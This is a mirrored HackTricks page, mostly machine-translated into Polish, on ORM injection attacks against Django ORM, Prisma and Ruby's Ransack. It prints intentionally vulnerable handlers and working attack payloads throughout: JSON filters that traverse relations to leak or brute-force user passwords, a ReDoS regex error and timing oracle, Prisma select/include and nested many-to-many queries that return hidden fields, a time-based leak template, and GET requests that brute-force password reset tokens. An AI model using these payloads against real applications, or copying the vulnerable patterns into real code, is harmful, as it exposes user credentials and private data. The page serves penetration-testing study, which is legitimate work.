mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 00:20:59 +00:00
337 lines
12 KiB
Markdown
337 lines
12 KiB
Markdown
# ORM Injection
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Django ORM (Python)
|
|
|
|
W [**tym poście**](https://www.elttam.com/blog/plormbing-your-django-orm/) wyjaśniono, jak można uczynić Django ORM podatnym, używając na przykład kodu takiego jak:
|
|
|
|
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
|
"""
|
|
Podstawowy widok API, do którego użytkownicy wysyłają żądania w celu
|
|
wyszukiwania artykułów
|
|
"""
|
|
def post(self, request: Request, format=None):
|
|
try:
|
|
<strong> articles = Article.objects.filter(**request.data)
|
|
</strong> serializer = ArticleSerializer(articles, many=True)
|
|
except Exception as e:
|
|
return Response([])
|
|
return Response(serializer.data)
|
|
</code></pre>
|
|
|
|
Zauważ, jak wszystkie request.data (które będą w formacie json) są bezpośrednio przekazywane do **filtrów obiektów z bazy danych**. Atakujący mógłby wysłać nieoczekiwane filtry, aby wyciekło więcej danych, niż się spodziewano.
|
|
|
|
Przykłady:
|
|
|
|
* **Logowanie:** W prostym logowaniu spróbuj wyciekować hasła użytkowników zarejestrowanych w systemie.
|
|
```json
|
|
{
|
|
"username": "admin",
|
|
"password_startswith":"a"
|
|
}
|
|
```
|
|
{% hint style="danger" %}
|
|
Możliwe jest przeprowadzenie ataku brute-force na hasło, aż zostanie ujawnione.
|
|
{% endhint %}
|
|
|
|
* **Filtracja relacyjna**: Możliwe jest przeszukiwanie relacji w celu ujawnienia informacji z kolumn, które nie były nawet oczekiwane w operacji. Na przykład, jeśli możliwe jest ujawnienie artykułów stworzonych przez użytkownika z tymi relacjami: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
|
|
```json
|
|
{
|
|
"created_by__user__password__contains":"pass"
|
|
}
|
|
```
|
|
{% hint style="danger" %}
|
|
Możliwe jest znalezienie hasła wszystkich użytkowników, którzy stworzyli artykuł
|
|
{% endhint %}
|
|
|
|
* **Filtrowanie relacji wiele-do-wielu**: W poprzednim przykładzie nie mogliśmy znaleźć haseł użytkowników, którzy nie stworzyli artykułu. Jednakże, podążając za innymi relacjami, jest to możliwe. Na przykład: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
|
```json
|
|
{
|
|
"created_by__departments__employees__user_startswith":"admi"
|
|
}
|
|
```
|
|
{% hint style="danger" %}
|
|
W tym przypadku możemy znaleźć wszystkich użytkowników w działach użytkowników, którzy stworzyli artykuły, a następnie wyciekować ich hasła (w poprzednim jsonie wyciekamy tylko nazwy użytkowników, ale później możliwe jest wycieknięcie haseł).
|
|
{% endhint %}
|
|
|
|
* **Wykorzystywanie relacji wiele-do-wielu między grupami a uprawnieniami w Django**: Co więcej, model AbstractUser jest używany do generowania użytkowników w Django i domyślnie model ten ma pewne **relacje wiele-do-wielu z tabelami Permission i Group**. Co zasadniczo jest domyślnym sposobem **dostępu do innych użytkowników z jednego użytkownika**, jeśli są w **tej samej grupie lub dzielą te same uprawnienia**.
|
|
```bash
|
|
# By users in the same group
|
|
created_by__user__groups__user__password
|
|
|
|
# By users with the same permission
|
|
created_by__user__user_permissions__user__password
|
|
```
|
|
* **Obejście ograniczeń filtrów**: Ten sam post na blogu zaproponował obejście użycia niektórych filtrów, takich jak `articles = Article.objects.filter(is_secret=False, **request.data)`. Możliwe jest zrzucenie artykułów, które mają is\_secret=True, ponieważ możemy wrócić z relacji do tabeli Article i wyciekować sekretnych artykułów z niesekretnych artykułów, ponieważ wyniki są łączone, a pole is\_secret jest sprawdzane w niesekretnym artykule, podczas gdy dane są wyciekane z sekretnym artykułem.
|
|
```bash
|
|
Article.objects.filter(is_secret=False, categories__articles__id=2)
|
|
```
|
|
{% hint style="danger" %}
|
|
Wykorzystując relacje, możliwe jest ominięcie nawet filtrów mających na celu ochronę wyświetlanych danych.
|
|
{% endhint %}
|
|
|
|
* **Błąd/Czas oparty na ReDoS**: W poprzednich przykładach oczekiwano różnych odpowiedzi, jeśli filtracja działała lub nie, aby użyć tego jako oracle. Ale może się zdarzyć, że jakaś akcja jest wykonywana w bazie danych i odpowiedź jest zawsze taka sama. W tym scenariuszu możliwe byłoby wywołanie błędu w bazie danych, aby uzyskać nowy oracle.
|
|
```json
|
|
// Non matching password
|
|
{
|
|
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
|
|
}
|
|
|
|
// ReDoS matching password (will show some error in the response or check the time)
|
|
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
|
|
```
|
|
From te same post regarding this vector:
|
|
|
|
* **SQLite**: Domyślnie nie ma operatora regexp (wymaga załadowania rozszerzenia firm trzecich)
|
|
* **PostgreSQL**: Nie ma domyślnego limitu czasu regex i jest mniej podatny na backtracking
|
|
* **MariaDB**: Nie ma limitu czasu regex
|
|
|
|
## Prisma ORM (NodeJS)
|
|
|
|
The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
|
|
|
|
* **Full find control**:
|
|
|
|
<pre class="language-javascript"><code class="lang-javascript">const app = express();
|
|
|
|
app.use(express.json());
|
|
|
|
app.post('/articles/verybad', async (req, res) => {
|
|
try {
|
|
// Attacker has full control of all prisma options
|
|
<strong> const posts = await prisma.article.findMany(req.body.filter)
|
|
</strong> res.json(posts);
|
|
} catch (error) {
|
|
res.json([]);
|
|
}
|
|
});
|
|
</code></pre>
|
|
|
|
It's possible to see that the whole javascript body is passed to prisma to perform queries.
|
|
|
|
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)
|
|
```json
|
|
{
|
|
"filter": {
|
|
"include": {
|
|
"createdBy": true
|
|
}
|
|
}
|
|
}
|
|
|
|
// Response
|
|
[
|
|
{
|
|
"id": 1,
|
|
"title": "Buy Our Essential Oils",
|
|
"body": "They are very healthy to drink",
|
|
"published": true,
|
|
"createdById": 1,
|
|
"createdBy": {
|
|
"email": "karen@example.com",
|
|
"id": 1,
|
|
"isAdmin": false,
|
|
"name": "karen",
|
|
"password": "super secret passphrase",
|
|
"resetToken": "2eed5e80da4b7491"
|
|
}
|
|
},
|
|
...
|
|
]
|
|
```
|
|
```markdown
|
|
Następujące zapytanie wybiera wszystkie posty utworzone przez kogoś z hasłem i zwróci hasło:
|
|
```
|
|
```json
|
|
{
|
|
"filter": {
|
|
"select": {
|
|
"createdBy": {
|
|
"select": {
|
|
"password": true
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// Response
|
|
[
|
|
{
|
|
"createdBy": {
|
|
"password": "super secret passphrase"
|
|
}
|
|
},
|
|
...
|
|
]
|
|
```
|
|
* **Pełna kontrola nad klauzulą where**:
|
|
|
|
Przyjrzyjmy się temu, gdzie atak może kontrolować klauzulę `where`:
|
|
|
|
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
|
|
try {
|
|
const posts = await prisma.article.findMany({
|
|
<strong> where: req.query.filter as any // Wrażliwe na wycieki ORM
|
|
</strong> })
|
|
res.json(posts);
|
|
} catch (error) {
|
|
res.json([]);
|
|
}
|
|
});
|
|
</code></pre>
|
|
|
|
Możliwe jest bezpośrednie filtrowanie haseł użytkowników, jak:
|
|
```javascript
|
|
await prisma.article.findMany({
|
|
where: {
|
|
createdBy: {
|
|
password: {
|
|
startsWith: "pas"
|
|
}
|
|
}
|
|
}
|
|
})
|
|
```
|
|
{% hint style="danger" %}
|
|
Używając operacji takich jak `startsWith`, możliwe jest wycieknięcie informacji. 
|
|
{% endhint %}
|
|
|
|
* **Obchodzenie filtrowania w relacjach wiele-do-wielu:** 
|
|
```javascript
|
|
app.post('/articles', async (req, res) => {
|
|
try {
|
|
const query = req.body.query;
|
|
query.published = true;
|
|
const posts = await prisma.article.findMany({ where: query })
|
|
res.json(posts);
|
|
} catch (error) {
|
|
res.json([]);
|
|
}
|
|
});
|
|
```
|
|
Możliwe jest wycieknięcie nieopublikowanych artykułów poprzez powracanie do relacji wiele-do-wielu między `Category` -\[\*..\*]-> `Article`:
|
|
```json
|
|
{
|
|
"query": {
|
|
"categories": {
|
|
"some": {
|
|
"articles": {
|
|
"some": {
|
|
"published": false,
|
|
"{articleFieldToLeak}": {
|
|
"startsWith": "{testStartsWith}"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
Możliwe jest również wycieknięcie wszystkich użytkowników, nadużywając niektórych relacji wiele-do-wielu z pętlą:
|
|
```json
|
|
{
|
|
"query": {
|
|
"createdBy": {
|
|
"departments": {
|
|
"some": {
|
|
"employees": {
|
|
"some": {
|
|
"departments": {
|
|
"some": {
|
|
"employees": {
|
|
"some": {
|
|
"departments": {
|
|
"some": {
|
|
"employees": {
|
|
"some": {
|
|
"{fieldToLeak}": {
|
|
"startsWith": "{testStartsWith}"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
* **Błędy/Zapytania czasowe**: W oryginalnym poście można przeczytać bardzo obszerny zestaw testów przeprowadzonych w celu znalezienia optymalnego ładunku do wycieku informacji za pomocą ładunku opartego na czasie. To jest:
|
|
```json
|
|
{
|
|
"OR": [
|
|
{
|
|
"NOT": {ORM_LEAK}
|
|
},
|
|
{CONTAINS_LIST}
|
|
]
|
|
}
|
|
```
|
|
Gdzie `{CONTAINS_LIST}` to lista z 1000 ciągami, aby upewnić się, że **odpowiedź jest opóźniona, gdy zostanie znaleziony poprawny leak.**
|
|
|
|
## **Ransack (Ruby)**
|
|
|
|
Te sztuczki zostały [**znalezione w tym poście**](https://positive.security/blog/ransack-data-exfiltration)**.**
|
|
|
|
{% hint style="success" %}
|
|
**Zauważ, że Ransack 4.0.0.0 teraz wymusza użycie jawnej listy dozwolonych atrybutów i powiązań do przeszukiwania.**
|
|
{% endhint %}
|
|
|
|
**Przykład podatny:**
|
|
```ruby
|
|
def index
|
|
@q = Post.ransack(params[:q])
|
|
@posts = @q.result(distinct: true)
|
|
end
|
|
```
|
|
Zauważ, jak zapytanie będzie definiowane przez parametry wysyłane przez atakującego. Możliwe było na przykład przeprowadzenie brute-force na tokenie resetującym za pomocą:
|
|
```http
|
|
GET /posts?q[user_reset_password_token_start]=0
|
|
GET /posts?q[user_reset_password_token_start]=1
|
|
...
|
|
```
|
|
By brute-forcing i potencjalnie relacjami możliwe było wycieknięcie większej ilości danych z bazy danych.
|
|
|
|
## References
|
|
|
|
* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
|
|
* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
|
|
* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|